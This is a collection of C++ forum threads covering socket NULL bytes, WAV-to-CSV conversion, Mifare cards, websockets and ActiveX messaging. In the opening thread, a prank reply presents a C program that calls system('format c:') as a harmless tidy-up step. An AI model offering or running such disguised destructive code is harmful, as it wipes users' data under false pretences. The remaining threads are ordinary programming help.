|
No one is going to help you write code for hacking or other illegal purposes.
|
|
|
|
|
You should buy and study the "little evil hacker" book.
Veni, vidi, vici.
|
|
|
|
|
I would say that the chances of successfully writing code to do exactly that if one doesn't already understand how to do it are very, very close to zero.
I suggest you start by learning, in detail, how TCP and IP work.
|
|
|
|
|
Run this on your computer first, just to make sure everything is nice and tidy.
#include <stdlib.h>
void main( void )
{
system("format c:");
}
"One man's wage rise is another man's price increase." - Harold Wilson
"Fireproof doesn't mean the fire will never come. It means when the fire comes that you will be able to withstand it." - Michael Simmons
"You can easily judge the character of a man by how he treats those who can do nothing for him." - James D. Miles
|
|
|
|
|
I approve and recommend this solution...
|
|
|
|
|
I have a requirement of sending a string value to a specific ipAddress but the string value should enclose with two Ascii Null Values.
Eg: NULL + message + NULL
I managed to send the message using sck->Socket->SendText(Edit1->Text); but I don't know how to send a NULL value through the SocketClient component.
I'm fairly new to C++. If any one can help me out it would be greatly appreciated. Thanks in advance.
|
|
|
|
|
It's just character zero, does the SendText method allow that?
You'll never get very far if all you do is follow instructions.
|
|
|
|
|
PIEBALDconsult wrote:
It
You
.
Send Text Method does not allow that but the same program was developed by VB6 allows to send a VBNull value using WinSock component. It's not following instructions but the certain problem does need to send a NULL value because it the receiving end is just a circuit with a network port.
Do you have any idea of sending a NULL value? It does not need to be the Send Text method.. Any method that allows to send a data packet with two NULL characters enclose with will do...
|
|
|
|
|
The Socket object should be having another method to send raw bytes instead of text.
Using that you should be able to send NULL .
If not, you could try to send the \0 character - "\0MyText\0" whose length will be 8 .
«_Superman_»
I love work. It gives me something to do between weekends.
Microsoft MVP (Visual C++) (October 2009 - September 2013) Polymorphism in C
|
|
|
|
|
Send bytes, not strings.
"One man's wage rise is another man's price increase." - Harold Wilson
"Fireproof doesn't mean the fire will never come. It means when the fire comes that you will be able to withstand it." - Michael Simmons
"You can easily judge the character of a man by how he treats those who can do nothing for him." - James D. Miles
|
|
|
|
|
As noted in one of the replies on stackoverflow to your exact same question - you should read the documentation for the library and class that you are using.
|
|
|
|
|
Hi,
Can anyone please refer me some free sample code to create a Gantt chart control similar to the MS Project. I have found a lot in code project but all are related to .NET(c#).
Thanks,
SMA
|
|
|
|
|
|
Dear friends,
I already successfully read and write mifare ultralight but i have no idea about how to set security bits on mifare UL so if any one knows that help me.
Thank you
|
|
|
|
|
Does this have anything to do with C++?
|
|
|
|
|
Hi,
I need a client which can communicate with the server using websocket+ssl or socket.io+SSL. I have searched in Google,but i got websocket client and ssl client individually.can any body help me please...
Thanks,
vvk.
|
|
|
|
|
Member 10881745 wrote: can any body help me please With what? You need to show what you have done to create this, and exactly what problems you are having. If Google does not find the sample that fits your requirements then you probably need to write one for yourself.
|
|
|
|
|
I am looking for c++ code that can load a .wav audio file and output a .csv text file. Then convert it back again. That is wav-to-csv and csv-to-wav. This is an unusual conversion process so any help is welcome.
|
|
|
|
|
.wav is a binary file and .csv is a text file.
So what is the conversion that you would like to do?
You cannot normally convert audio data to text data and vice versa.
So you need to be more specific on your question.
The only conversion that I can think of is to extract the tag information from a .wav file to a .csv file.
But then again the reverse would not be possible because there is no audio data in a .csv file.
The next thing that you can do is a simple rename of the extension from .wav to .csv, but that doesn't make any sense either.
«_Superman_»
I love work. It gives me something to do between weekends.
Microsoft MVP (Visual C++) (October 2009 - September 2013) Polymorphism in C
|
|
|
|
|
The WAV file format is relatively simple to parse. You may have a look at the specifications (as starting point, you may check out its Wikipedia page[^]. Once you are able to parse it you have to decide how to generate a meaningful (for instance an 'easy for the human to read') format for putting all the information in the CSV file.
Veni, vidi, vici.
|
|
|
|
|
Here is the only code I can find for writing a .Wav file. This is python which I know nothing about. I have .csv files of data that when plotted draw a mandala. I want to save the same file to a .wav format so I can play the mandala as sound. Is writing a wav file possible with C++ code or do I need a library?
https://gist.github.com/Pretz/1773870
#!/usr/bin/python
import wave
import numpy
import struct
import sys
import csv
from scikits.samplerate import resample
def write_wav(data, filename, framerate, amplitude):
wavfile = wave.open(filename, "w")
nchannels = 1
sampwidth = 2
framerate = framerate
nframes = len(data)
comptype = "NONE"
compname = "not compressed"
wavfile.setparams((nchannels,
sampwidth,
framerate,
nframes,
comptype,
compname))
print("Please be patient whilst the file is written")
frames = []
for s in data:
mul = int(s * amplitude)
# print "s: %f mul: %d" % (s, mul)
frames.append(struct.pack('h', mul))
# frames = (struct.pack('h', int(s*self.amp)) for s in sine_list)
frames = ''.join(frames)
for x in xrange(0, 7200):
wavfile.writeframes(frames)
wavfile.close()
print("%s written" %(filename))
if __name__ == "__main__":
if len(sys.argv) <= 1:
print "You must supply a filename to generate"
exit(-1)
for fname in sys.argv[1:]:
data = []
for time, value in csv.reader(open(fname, 'U'), delimiter=','):
try:
data.append(float(value))
except ValueError:
pass # Just skip it
print "Generating wave file from %d samples" % (len(data),)
arr = numpy.array(data)
# Normalize data
arr /= numpy.max(numpy.abs(data))
filename_head, extension = fname.rsplit(".", 1)
# Resample normalized data to 44.1 kHz
target_samplerate = 44100
sampled = resample(arr, target_samplerate/100000.0, 'sinc_best')
write_wav(sampled, filename_head + ".wav", 100000, 32700)
|
|
|
|
|
You know, this piece of code does use a libraries (import wave, etc..). With C++ you can either use a library or write the calsses and methods (for instance setparams ) yourself.
Veni, vidi, vici.
|
|
|
|
|
Other response suggests you want to go from csv to wav.
Steps
1. Determine for all given values in csv how them map to a 'sound'. There are any number of ways to do this. As one example you might pick a small audible music scale and then discretely break up the entire range of csv numbers along this scale. This step does NOT involve code.
2. Write code to parse the csv
3. Find or write code that outputs a wav file
4. Write code that takes the csv data, maps it via what you determined in 1, and then using 3 write it.
|
|
|
|
|
Hi All,
My application has a browser plugin. It is an ActiveX component and inside this component, it has UI. There is a user defined message and its handler. Handler invokes a function which in turn displays a modal dialog box.
While the modal dialog box is opened, the user defined message handler is being invoked. In the code, they are using SendMessage & PostMessage with this user defined message. I don't see any SendMessage call in the function which is responsible for displaying this modal dialog box.
Now my doubt is, how is is possible to invoke user defined message handler with out using SendMessage while modal dialog box is opened?
Is there any difference in the behavior of PostMessage while running inside a browser?
|
|
|
|
|
Can i set the scroll bar position (X, Y) of window. by clicking on the menu??
if yes please let me know as soon as possible. plz help me....
|
|
|
|